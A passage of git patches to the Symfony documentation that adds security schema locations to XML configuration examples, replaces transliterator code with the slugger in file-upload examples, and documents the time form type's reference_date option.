@@ -55,7 +55,9 @@ To support HTTP Basic authentication, add the ``http_basic`` key to your firewal
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -121,7 +123,9 @@ Enable the x509 authentication for a particular firewall in the security configu
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -197,7 +201,12 @@ corresponding firewall in your security configuration:
         <!-- config/packages/security.xml -->
         <?xml version="1.0" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:srv="http://symfony.com/schema/dic/services">
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <firewall name="main">
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index d0db9c91168..dfbdc4938c1 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -488,7 +488,9 @@ You are finished! You can now define parts of your app as under WSSE protection.
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -604,7 +606,9 @@ set to any desirable value per firewall.
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
diff --git a/security/firewall_restriction.rst b/security/firewall_restriction.rst
index 0ce0c2e3ff5..ee0950083bc 100644
--- a/security/firewall_restriction.rst
+++ b/security/firewall_restriction.rst
@@ -49,7 +49,9 @@ if the request path matches the configured ``pattern``.
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -106,7 +108,9 @@ only initialize if the host from the request matches against the configuration.
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -164,7 +168,9 @@ the provided HTTP methods.
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -220,7 +226,9 @@ If the above options don't fit your needs you can configure any service implemen
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
diff --git a/security/force_https.rst b/security/force_https.rst
index 797446ce4b9..9492e0fece0 100644
--- a/security/force_https.rst
+++ b/security/force_https.rst
@@ -36,7 +36,9 @@ access control:
                 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                 xmlns:srv="http://symfony.com/schema/dic/services"
                 xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/security
+                    https://symfony.com/schema/dic/security/security-1.0.xsd">
 
                 <config>
                     <!-- ... -->
diff --git a/security/form_login.rst b/security/form_login.rst
index f7763ce8094..24039da809e 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -41,7 +41,9 @@ First, enable ``form_login`` under your firewall:
             xmlns:srv="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <firewall name="main">
@@ -279,7 +281,9 @@ security component:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -361,7 +365,9 @@ After this, you have protected your login form against CSRF attacks.
                 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                 xmlns:srv="http://symfony.com/schema/dic/services"
                 xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/security
+                    https://symfony.com/schema/dic/security/security-1.0.xsd">
 
                 <config>
                     <!-- ... -->
@@ -435,7 +441,9 @@ a relative/absolute URL or a Symfony route name:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -492,7 +500,9 @@ previously requested URL and always redirect to the default page:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -580,7 +590,9 @@ parameter is included in the request, you may use the value of the
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -646,7 +658,9 @@ option to define a new target via a relative/absolute URL or a Symfony route nam
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -721,7 +735,9 @@ redirects can be customized using the  ``target_path_parameter`` and
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index d8c27871cce..0f543360930 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -100,7 +100,9 @@ Edit the ``security.yaml`` file in order to allow access for anyone to the
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <rule path="^/login$" role="IS_AUTHENTICATED_ANONYMOUSLY"/>
@@ -291,7 +293,9 @@ a traditional HTML form that submits to ``/login``:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index 9e40e19a081..71859870d11 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -204,7 +204,9 @@ Finally, configure your ``firewalls`` key in ``security.yaml`` to use this authe
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
             <config>
                 <!-- ... -->
 
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 3fc25ba406e..8ab25dab9a6 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -38,7 +38,9 @@ listener:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -165,7 +167,9 @@ also adjust the query parameter name via the ``parameter`` setting:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
             <config>
                 <!-- ... -->
 
@@ -198,7 +202,7 @@ Limiting User Switching
 
 If you need more control over user switching, you can use a security voter. First,
 configure ``switch_user`` to check for some new, custom attribute. This can be
-anything, but *cannot* start with ``ROLE_`` (to enforce that only your voter will 
+anything, but *cannot* start with ``ROLE_`` (to enforce that only your voter will
 be called):
 
 .. configuration-block::
@@ -222,7 +226,9 @@ be called):
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
             <config>
                 <!-- ... -->
 
diff --git a/security/json_login_setup.rst b/security/json_login_setup.rst
index 060821704e2..44ffa5d02e9 100644
--- a/security/json_login_setup.rst
+++ b/security/json_login_setup.rst
@@ -29,7 +29,9 @@ First, enable the JSON login under your firewall:
             xmlns:srv="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <firewall name="main">
@@ -177,7 +179,9 @@ The security configuration should be:
             xmlns:srv="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <firewall name="main">
diff --git a/security/ldap.rst b/security/ldap.rst
index 0750fdc25ec..6a956cc00f4 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -159,7 +159,9 @@ use the ``ldap`` user provider.
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <provider name="my_ldap">
@@ -379,7 +381,9 @@ Configuration example for form login
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <firewall name="main">
@@ -432,7 +436,9 @@ Configuration example for HTTP Basic
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -492,7 +498,9 @@ Configuration example for form login and query_string
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <firewall name="main">
diff --git a/security/multiple_guard_authenticators.rst b/security/multiple_guard_authenticators.rst
index f9145e1d897..d3ef59a2494 100644
--- a/security/multiple_guard_authenticators.rst
+++ b/security/multiple_guard_authenticators.rst
@@ -42,7 +42,9 @@ This is how your security configuration can look in action:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -120,7 +122,9 @@ the solution is to split the configuration into two separate firewalls:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
diff --git a/security/named_encoders.rst b/security/named_encoders.rst
index aad4d740fb1..cacf302d5d9 100644
--- a/security/named_encoders.rst
+++ b/security/named_encoders.rst
@@ -27,7 +27,9 @@ to apply to all instances of a specific class:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd"
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd"
         >
             <config>
                 <!-- ... -->
@@ -81,7 +83,9 @@ be done with named encoders:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd"
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd"
         >
 
             <config>
@@ -158,7 +162,9 @@ you must register a service for it in order to use it as a named encoder:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd"
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd"
         >
 
             <config>
diff --git a/security/password_migration.rst b/security/password_migration.rst
index 0f403a51b3a..c30acf70a9e 100644
--- a/security/password_migration.rst
+++ b/security/password_migration.rst
@@ -50,6 +50,8 @@ on the new encoder to point to the old, legacy encoder(s):
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:security="http://symfony.com/schema/dic/security"
             xsi:schemaLocation="http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd
+                http://symfony.com/schema/dic/security
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <security:config>
diff --git a/security/remember_me.rst b/security/remember_me.rst
index a001e0367ef..e78aba9b977 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -38,7 +38,9 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
             xmlns:srv="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -291,7 +293,9 @@ service you just created:
             xmlns:srv="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index b0ebfeef56a..ca8ecfbab83 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -85,7 +85,9 @@ is the service id of your user checker:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
diff --git a/security/user_provider.rst b/security/user_provider.rst
index 04a587b2529..b64f689ac48 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -173,7 +173,9 @@ To finish this, remove the ``property`` key from the user provider in
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
                 <!-- ... -->
@@ -238,7 +240,9 @@ users will encode their passwords:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd"
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd"
         >
             <config>
                 <!-- ... -->
diff --git a/security/voters.rst b/security/voters.rst
index ef7f8519f7e..7afd507e3ea 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -304,7 +304,9 @@ security configuration:
             xmlns:srv="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd"
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd"
         >
 
             <config>
diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst
index f96937ed2be..b7f09dbac30 100644
--- a/testing/http_authentication.rst
+++ b/testing/http_authentication.rst
@@ -43,6 +43,15 @@ firewall, but only in the configuration file used by tests:
     .. code-block:: xml
 
         <!-- config/packages/test/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:security="http://symfony.com/schema/dic/security"
+            xsi:schemaLocation="http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
         <security:config>
             <!-- replace 'main' by the name of your own firewall -->
             <security:firewall name="main">

From b25a9a4f513635a195241fd3d024de61d8146868 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <weaverryan+github@gmail.com>
Date: Mon, 23 Mar 2020 16:22:18 -0400
Subject: [PATCH 0534/7107] using slugger for file uploading, instead of long
 transliterator code

---
 controller/upload_file.rst | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 5211907fa86..18d0fee4be8 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -129,13 +129,14 @@ Finally, you need to update the code of the controller that handles the form::
     use Symfony\Component\HttpFoundation\File\UploadedFile;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\String\Slugger\SluggerInterface;
 
     class ProductController extends AbstractController
     {
         /**
          * @Route("/product/new", name="app_product_new")
          */
-        public function new(Request $request)
+        public function new(Request $request, SluggerInterface $slugger)
         {
             $product = new Product();
             $form = $this->createForm(ProductType::class, $product);
@@ -150,7 +151,7 @@ Finally, you need to update the code of the controller that handles the form::
                 if ($brochureFile) {
                     $originalFilename = pathinfo($brochureFile->getClientOriginalName(), PATHINFO_FILENAME);
                     // this is needed to safely include the file name as part of the URL
-                    $safeFilename = transliterator_transliterate('Any-Latin; Latin-ASCII; [^A-Za-z0-9_] remove; Lower()', $originalFilename);
+                    $safeFilename = $slugger->slug($originalFilename);
                     $newFilename = $safeFilename.'-'.uniqid().'.'.$brochureFile->guessExtension();
 
                     // Move the file to the directory where brochures are stored
@@ -238,20 +239,23 @@ logic to a separate service::
 
     use Symfony\Component\HttpFoundation\File\Exception\FileException;
     use Symfony\Component\HttpFoundation\File\UploadedFile;
+    use Symfony\Component\String\Slugger\SluggerInterface;
 
     class FileUploader
     {
         private $targetDirectory;
+        private $slugger;
 
-        public function __construct($targetDirectory)
+        public function __construct($targetDirectory, SluggerInterface $slugger)
         {
             $this->targetDirectory = $targetDirectory;
+            $this->slugger = $slugger;
         }
 
         public function upload(UploadedFile $file)
         {
             $originalFilename = pathinfo($file->getClientOriginalName(), PATHINFO_FILENAME);
-            $safeFilename = transliterator_transliterate('Any-Latin; Latin-ASCII; [^A-Za-z0-9_] remove; Lower()', $originalFilename);
+            $safeFilename = $slugger->slug($originalFilename);
             $fileName = $safeFilename.'-'.uniqid().'.'.$file->guessExtension();
 
             try {

From f8c3968c124e3b19694b161fdc730a2a28122ad8 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@xabbuh.de>
Date: Tue, 24 Mar 2020 09:40:37 +0100
Subject: [PATCH 0535/7107] document the reference_date option

---
 reference/forms/types/time.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 09d368e4ee3..10678995eee 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -23,6 +23,7 @@ stored as a ``DateTime`` object, a string, a timestamp or an array.
 |                      | - `input_format`_                                                           |
 |                      | - `minutes`_                                                                |
 |                      | - `model_timezone`_                                                         |
+|                      | - `reference_date`_                                                         |
 |                      | - `seconds`_                                                                |
 |                      | - `view_timezone`_                                                          |
 |                      | - `widget`_                                                                 |
@@ -150,10 +151,29 @@ of the time. This must be a valid `PHP time format`_.
 
 .. include:: /reference/forms/types/options/model_timezone.rst.inc
 
+.. caution::
+
+    When using different values for ``model_timezone`` and `view_timezone`_,
+    a `reference_date`_ must be configured.
+
+reference_date
+~~~~~~~~~~~~~~
+
+**type**: ``DateTimeInterface`` **default**: ``null``
+
+Configuring a reference date is required when the `model_timezone`_ and
+`view_timezone`_ are different. Timezone conversions will be calculated
+based on this date.
+
 .. include:: /reference/forms/types/options/seconds.rst.inc
 
 .. include:: /reference/forms/types/options/view_timezone.rst.inc
 
+.. caution::
+
+    When using different values for `model_timezone`_ and ``view_timezone``,
+    a `reference_date`_ must be configured.
+
 widget
 ~~~~~~
 

From 47f3d57c30e2d305640e15696deed2049c567f86 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 24 Mar 2020 12:08:45 +0100
Subject: [PATCH 0536/7107] Added the versionadded directive

---
 reference/forms/types/time.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 10678995eee..f893c4d1bf0 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -161,6 +161,10 @@ reference_date
 
 **type**: ``DateTimeInterface`` **default**: ``null``
 
+.. versionadded:: 4.4
+
+    The ``reference_date`` option was introduced in Symfony 4.4.
+
 Configuring a reference date is required when the `model_timezone`_ and
 `view_timezone`_ are different. Timezone conversions will be calculated
 based on this date.

From 76acbc56348c3f7081d1c10a3188da6c1e5914f5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 24 Mar 2020 12:10:08 +0100
Subject: [PATCH 0537/7107] Removed the versionadded directive

---
 reference/forms/types/time.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 751c8c2b77f..2c22f94da49 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -157,10 +157,6 @@ reference_date
 
 **type**: ``DateTimeInterface`` **default**: ``null``
 
-.. versionadded:: 4.4
-
-    The ``reference_date`` option was introduced in Symfony 4.4.
-
 Configuring a reference date is required when the `model_timezone`_ and
 `view_timezone`_ are different. Timezone conversions will be calculated
 based on this date.

From 2cd8afa4ed37b9349cf5fce9bc48a50cac8e8b13 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@xabbuh.de>
